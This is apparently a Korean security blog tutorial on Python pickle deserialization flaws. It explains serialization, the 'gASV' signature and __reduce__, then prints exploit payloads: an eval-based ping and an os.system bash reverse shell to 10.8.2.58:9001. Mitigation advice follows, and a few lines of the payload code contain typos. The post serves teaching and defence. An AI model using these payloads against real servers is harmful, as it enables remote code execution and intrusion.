Deserialize_Vulnability for Python_Pickle
Deserialize란?
역 직렬화로 써 직렬화된 데이터 즉 바이트 스트림을 역연산 하는 과정을 말한다.
Serialization?
계층 구조의 데이터를 바이트 스트림으로 변환하는 작업을 뜻하며, 객체를 저장 및 전송의 편리함 및 다른 플렛폼에서 사용하거나, 객체의 상태를 저장하기 위해 자주 사용된다.
직렬화는 어떤 기능을 하는 앤드포인트에서 사용될까?
- 서버와 클라이언트 간의 데이터 전송
- 서버에서 객체를 JSON형식으로 직렬화하여 클라이언트에게 보내고 클라이언트는 해당 JSON을 파싱하여 객체로 변환하며, 보통 REST API, GraphQL 등 다양한 웹 API 통신에서 사용된다.
- 데이터베이스 저장 및 조회
- ORM 사용시, 객체를 데이터베이스 레코드로 직렬화되고, 역직렬화가 이루어진다.
- 캐싱
- 서버 측에서 데이터를 캐싱할 때 객체를 직렬화하여 캐시 스토리지에 저장하고, 캐시에서 데이터를 가져올 때 역직렬화 하여 객체로 변환하게됨
- 파일 저장 및 읽기
- JSON, XML, YAML형식의 설정 파일을 읽고 쓸 때 객체의 직렬화, 역직렬화가 이루어진다.
Deserialize에서의 취약점은 왜 발생 하는가?
사용자가 악의적인 데이터를 공격 서버와 동일한 방식으로 직렬화 하여 바이트 스트림을 생성후 서버에 제출하게 되면, 서버측에서는 이를 역직렬화 과정에서 제대로 검증하지 않고, 트리거 되기 떄문이다. 이 때 운영체제 명령어를 삽입하여 RCE 까지 연계될 수 있다.
Deserialize for pickle
Python에서 많이 사용되는 직렬화 및 역직렬화 라이브러리, 모듈인 Pickle 에서 Deserialize과정에서 취약점이 발생한다. Pickle 라이브러리에서 직렬화 및 역직렬화를 하기 위해 내장된 함수는
- pickle.dumps
- pickle.dump
- pickle.loads
- picklid.load
위와 같이 존재한다. 직렬화를 하게되면, 아래와 같은 바이트 스트림으로 생성되는것을 확인할 수 있다.
import pickle,base64
def pickled():
data={"data":"test", "date":"2023"}
serialized = pickle.dumps(data)
print(serialized)
if __name__ == "__main__":
pickled()
------------
b'\x80\x04\x95!\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04data\x94\x8c\x04test\x94\x8c\x04date\x94\x8c\x042023\x94u.'
하지만 일반적으로 data는 일부 문자가 인쇄 가능한 형식이 아니므로 base64로 인코딩 형식으로 변환하여 저장한다. 그 후 역직렬화를 통해 기존 데이터를 불러올 수도 있다.
import pickle
import base64
def pickled():
data={"data":"test", "date":"2023"}
serialized = base64.b64encode(pickle.dumps(data))
print(serialized)
deserialized=pickle.loads(base64.b64decode(serialized))
print(deserialized)
if __name__ == "__main__":
pickled()
---------------------------------------------------------
b'gASVIQAAAAAAAAB9lCiMBGRhdGGUjAR0ZXN0lIwEZGF0ZZSMBDIwMjOUdS4='
{'data': 'test', 'date': '2023'}
Vulnability for Pickle?
파이썬의 공식 문서의 pickle문서를 보면 아래와 같은 내용을 표시하고있다.
경고 : Pickle 모듈이 안전하지 않습니다. 신뢰할 수 있는 데이터만 unpickle 하세요 역직렬화 중에 임의의 코드를 실행하는 악의적인 pickle데이터를 구성하는 것이 가능합니다. 신뢰할 수 없는 소스에서 왔거나, 변조되었을 수 있는 데이터를 절대로 unpickling 하지 마세요 그렇다. 즉 악의적인 사용자가 변조된 data를 직렬화 하여 서버로 보내면, 서버는 아무 검증 없이
역직렬화 과정을 진행하는데 이 때 data에 임의의 시스템 명령어가 포함하고 있을경우 이를 실행시키고 실행 결과값을 반환한다.
공격 표면
요청 값에 대한 응답값을 확인해보면 직렬화 기능을 사용하는지에 대해 추측이 가능하다.
Python의 직렬화된 객체의 signature 는 gASV이다. Pickle를 통해 dumps 값을 유심히 봤다면 알 수 있듯 gASV로 시작한다. 이는 인코딩된 페이로드를 식별할 수 있는 방법이 될 수 있다.
16진수라면 c28004c29526000000000000이다.
“reduce”
해당 “reduce” 메서드를 사용하여 공격자는 공격 코드를 제작한다. 해당 **메서드는 인수를 사용하지 않고, 문자열이나 가급적 튜플을 반환해야한다.** “reduce”메서드는 직렬화 된 계층 구조를 unpickling 할 때 객체를 재구성하는 것에 대해 tuple을 반환한다.
import pickle, base64
from typing import Any
class exploit:
def __reduce__(self):
cmd = "ping -c 1 172.20.120.196"
return (eval, (cmd,))
test={"name":exploit()}
if __name__ == '__main__':
print(base64.b64encode(pickle.dumps(test)).decode('utf8'))
위 코드와 같이 eval,builtins.{함수}, exec, popen, os.system, subprosess.{함수} 와 같이 시스템
명령어를 포함하여 직렬화를 수행할 수 있다.
Reverse Shell
ping 로 시스템 명령이 가능하며, 외부 서버와의 연결이 허용될 때
RCE로 이어질 수 있다.
import base64. os, pickle
class exploit(object):
def __reduce__(self):
return (os.system, ("bash -c 'bash -i >& /dev/tcp/10.8.2.58/9001 0>&1'",))
def send_payload():
payload = exploit()
payload = base64.b64encode(pickle.dumps(payload)).b64decode('utf8')
print(payload)
if __name__ == "__main__":
send_payload()
대응방안
- 사용자 입력값에 대한 데이터 유효성 검사 및 검증
- 화이트 리스트 기반의 입력값 검증 정책 적용
- 권한이 낮은 환경에서 역직렬화된 코드를 격리 후 실행
- pickle data가 저장되는 경우 파일 시스템 권한을 검토 후 데이터에 대한 액세스 보호 확인
- pickle 과정에서 암호화 서명 사용
Reference
- https://macrosec.tech/index.php/2021/06/29/exploiting-insecuredeserialization-bugs-found-in-the-wild-python-pickles/
- https://exploit-notes.hdks.org/exploit/web/framework/python/python-pickle-rce/
Leave a comment